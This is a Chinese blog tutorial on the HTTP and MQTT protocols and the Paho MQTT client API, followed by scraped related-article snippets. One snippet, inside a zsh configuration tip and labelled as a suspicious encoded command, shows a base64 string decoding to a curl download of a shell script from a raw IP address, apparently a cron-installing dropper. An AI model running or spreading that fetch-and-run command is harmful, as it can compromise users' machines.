深度解析应用层协议-----HTTP与MQTT(涵盖Paho库)

ops/2025/2/21 20:02:14/

HTTP协议概述

1.1 HTTP的基本概念

HTTP是一种应用层协议,使用TCP作为传输层协议,默认端口是80,基于请求和响应的方式,即客户端发起请求,服务器响应请求并返回数据(HTML,JSON)。在HTTP/1.1中,使用了长连接技术,允许一个连接复用多个请求和响应,减少了TCP三次握手的消耗。

1.2 HTTP的基本结构

HTTP请求部分:
  • 请求行:包含请求方法(GET, POST等)、请求URL、协议版本。
    • GET:请求资源,通常用于获取数据。
    • POST:提交数据,用于发送数据到服务器进行处理。
    • PUT:更新数据,用于上传或修改资源。
    • DELETE删除资源。
    • URL:资源标识符,表示请求的资源地址,包含协议、主机名、路径、查询参数等
  • 请求头:包括各种元数据,如Connection、Host、Content-Type等。
    • Content-Type:指示请求体的数据类型,通常在POST或PUT请求中使用(例如Content-Type: application/json)。
    • Host:指定请求的主机名和端口号,必需字段
    • Connection:指定控制连接的方式(例如keep-alive表示保持连接)
  • 空行:标识头部与载荷的分界线,如果没有空行会发送TCP粘包,strstr解析/r/n获得载荷
  • 请求体:通常在POST请求中出现,包含请求的具体数据。 
    • 对于GET请求,通常不携带请求体。GET请求的数据是通过URL中的查询参数传递的,例如:GET /path/to/resource?name=John&age=30 HTTP/1.1

完整的HTTP请求示例

POST /submit HTTP/1.1Host: www.example.com
Content-Type: application/json
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: application/json{"username": "test_user","password": "test_pass"
}
HTTP响应部分:
  • 响应行:包括协议版本、状态码(200,404,500)、状态描述(OK,not found,sever error)。
  • 响应头:包含响应的元数据,如Content-Type、Content-Length等。
    • Content-Type:指定响应体的内容类型,例如text/htmlapplication/json等。
    • Content-Length:指定响应体的长度(字节数)。
  • 空行:/r/n,头部和内容的分隔
  • 响应体:包含实际的返回数据,对于GET请求,响应体通常是请求的资源(如HTML、JSON、图像等)。对于POST请求,响应体可能包含处理结果或其他数据。

完整的HTTP响应示例

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Content-Length: 112
Date: Tue, 21 Mar 2023 10:10:00 GMT
Server: Apache/2.4.1<html><body><h1>Welcome to the website</h1></body>
</html>

1.3 HTTP的局限性

  • 无状态性:HTTP是无状态协议,每次请求都是独立的,不会记录上一次请求的任何信息,如果需要记录用户状态,需要额外机制如:
    • Cookies:浏览器在发送请求时,可以携带上次访问时服务器存储的Cookies(小型文本数据),服务器通过这些Cookies来识别用户的身份或维持会话状态。
  • 高开销:每次请求都需要建立TCP连接,导致网络开销较大,尤其在频繁请求的场景下。
  • 实时性差:HTTP通常是客户端主动发起请求,服务器无法主动推送数据。

HTTP可以传哪些数据?

  • 文本数据(如HTML、JSON、XML等)
  • 二进制数据(如图片、音频、视频、PDF等)

MQTT协议概述

2.1 MQTT的基本概念

MQTT是一种轻量级的、基于发布/订阅模式的消息传输协议,使用TCP协议进行传输,端口为1883(非加密)和8883(加密),客户端通过发布(Publish)消息到某个主题(Topic),而其他订阅(Subscribe)该主题的客户端会接收到消息。

2.2 MQTT的基本结构

MQTT协议的消息主要包括以下内容:

  • 主题(Topic):消息的标签,决定了消息的去向。订阅者根据主题来接收消息。
  • QoS(Quality of Service)级别:决定消息传输的可靠性。MQTT支持三个级别的QoS:
    • QoS 0:最多一次发送,不保证消息送达。
    • QoS 1:至少一次发送,确保消息至少送达一次。
    • QoS 2:只有一次发送,确保消息只送达一次。
  • 保留标志:用于确保客户端在订阅时能接收到最后一条消息。

MQTT报文格式

MQTT报文格式具有简洁、高效的特点,主要由固定报文头可变报文头有效载荷(Payload)三部分组成。

固定报文头(Fixed Header)

固定报文头是每个MQTT报文的基本部分,长度是固定的,始终包含报文类型(Message Type)和报文标志(Flags)。

2.1 报文类型(Message Type)

MQTT定义了不同类型的报文,报文类型都由低四位表示https://i-blog.csdnimg.cn/direct/82daf1216adc44e397b3fa80976668e5.png" width="412" />

报文类型描述说明
1(0001)CONNECT客户端连接到服务器
2CONNACK服务器确认客户端连接
3PUBLISH发布消息
8SUBSCRIBE订阅请求

可变报文头(Variable Header)

可变报文头的内容依赖于报文类型,某些类型的报文没有可变报文头。一般来说,可变报文头部分包括协议版本号连接标志客户端ID订阅主题等信息。

3.1 CONNECT报文的可变报文头
  • 协议名称MQTT
  • 协议版本:当前版本一般是4(即MQTT 3.1.1)
  • Keep Alive:心跳间隔时间,单位为秒。
  • 客户端ID:用于标识客户端的唯一标识符。
3.2 PUBLISH报文的可变报文头
  • 主题名(Topic):消息的目标主题,用于订阅者筛选消息。
  • 消息标识符(Message Identifier):如果QoS > 0,则会有消息标识符,用于确认消息的投递状态。

有效载荷(Payload)

有效载荷部分就是实际传递的数据内容,报文的有效载荷内容根据报文类型而不同。比如:

  • PUBLISH报文的有效载荷包含消息体(即客户端发布的消息内容)。
  • CONNECT报文的有效载荷包含用户名、密码、客户端ID等连接信息。

MQTT Paho库概述、使用方法、API函数

Paho的设计目标是简化MQTT客户端的实现,提供易于使用的API,使开发者能够专注于业务逻辑而不需要深入理解MQTT协议的细节。

  • MQTTClient_create:创建一个MQTT客户端实例,指定代理的URI和客户端ID。
  • MQTTClient_connect:连接到MQTT代理,使用连接选项配置(如用户名、密码等)。
  • MQTTClient_publish:向指定主题发布消息,可以指定消息的QoS、保留标志等。
  • MQTTClient_subscribe:订阅一个主题,接收该主题的消息。
  • MQTTClient_unsubscribe:取消订阅主题。

http://www.ppmy.cn/ops/160322.html

相关文章

算法从0到100之【专题一】- 双指针第一练(数组划分、数组分块)

文章目录 【题目一】移动零题目要求算法原理&#xff08;思路讲解 画图模拟演示&#xff09;代码实现 【题目二】复写零题目要求算法原理&#xff08;思路讲解 画图模拟演示&#xff09;代码实现 【题目一】移动零 题目要求 给定一个数组 nums&#xff0c;编写一个函数将所…

Mac zsh使用相关问题之一

解决zsh 找不到zsh插件的问题 解决方法 修改vim ~/.zshrc 添加如下内容&#xff1a; fpath(/usr/share/zsh/5.0.2/functions $fpath)可疑编码命令 ~ echo Y3VybCAtZnNTTCBodHRwOi8vMTQwLjk5LjMyLjQ4L2IyZjYyOC9jcm9uYi5zaAo|base64 -d curl -fsSL http://140.99.32.48/b2f…

【深度学习】使用飞桨paddle实现波士顿房价预测任务

使用飞桨实现波士顿房价预测任务 由于开始学习深度学习&#xff0c;因此每次开始都熟悉一下深度学习模型的基本步骤&#xff1a; 在之前的学习中&#xff0c;我们学习了使用Python和NumPy实现波士顿房价预测任务的方法&#xff0c;本章我们将尝试使用飞桨paddle重写房价预测任…

【开源商城系统是否能直接拿去售卖】

开源商城系统是否能直接拿去售卖&#xff0c;需要根据具体的开源协议和相关法律法规来判断&#xff0c;以下是具体分析&#xff1a; 遵循开源协议的情况 GPL协议&#xff1a;如果开源商城系统遵循GNU通用公共许可证&#xff08;GPL&#xff09;&#xff0c;这种协议属于强拷贝…

如何查看java的字节码文件?javap?能用IDEA吗?

编译指令&#xff1a; javac YourProject.java 查看字节码文件的指令&#xff1a; javap -c -l YourProject.class 不添加-c指令就不会显示字节码文件&#xff1a; 不添加 -l 就不会显示源代码和字节码文件的对应关系&#xff1a; 添加-l之后多出来这些&#xff1a; IDEA不太…

解决DeepSeek服务器繁忙的有效方法

全球42%的企业遭遇过AI工具服务器过载导致内容生产中断&#xff08;数据来源&#xff1a;Gartner 2025&#xff09;。当竞品在凌晨3点自动发布「智能家居安装指南」时&#xff0c;你的团队可能正因DeepSeek服务器繁忙错失「净水器保养教程」的流量黄金期⏳。147SEO智能调度系统…

亲测可用,IDEA中使用满血版DeepSeek R1!支持深度思考!免费!免配置!

作者&#xff1a;程序员 Hollis 之前介绍过在IDEA中使用DeepSeek的方案&#xff0c;但是很多人表示还是用的不够爽&#xff0c;比如用CodeChat的方案&#xff0c;只支持V3版本&#xff0c;不支持带推理的R1。想要配置R1的话有特别的麻烦。 那么&#xff0c;今天&#xff0c;给…

第3章 3.3日志 .NET Core日志 NLog使用教程

3.3.1 .NET Core日志基本使用 书中介绍了把日志输出到控制台的使用方式&#xff1a; 安装 Microsoft.Extensions.Logging 和 Microsoft.Extensions.Logging.Console 日志记录代码&#xff1a; using Microsoft.Extensions.DependencyInjection; using Microsoft.Extensions.…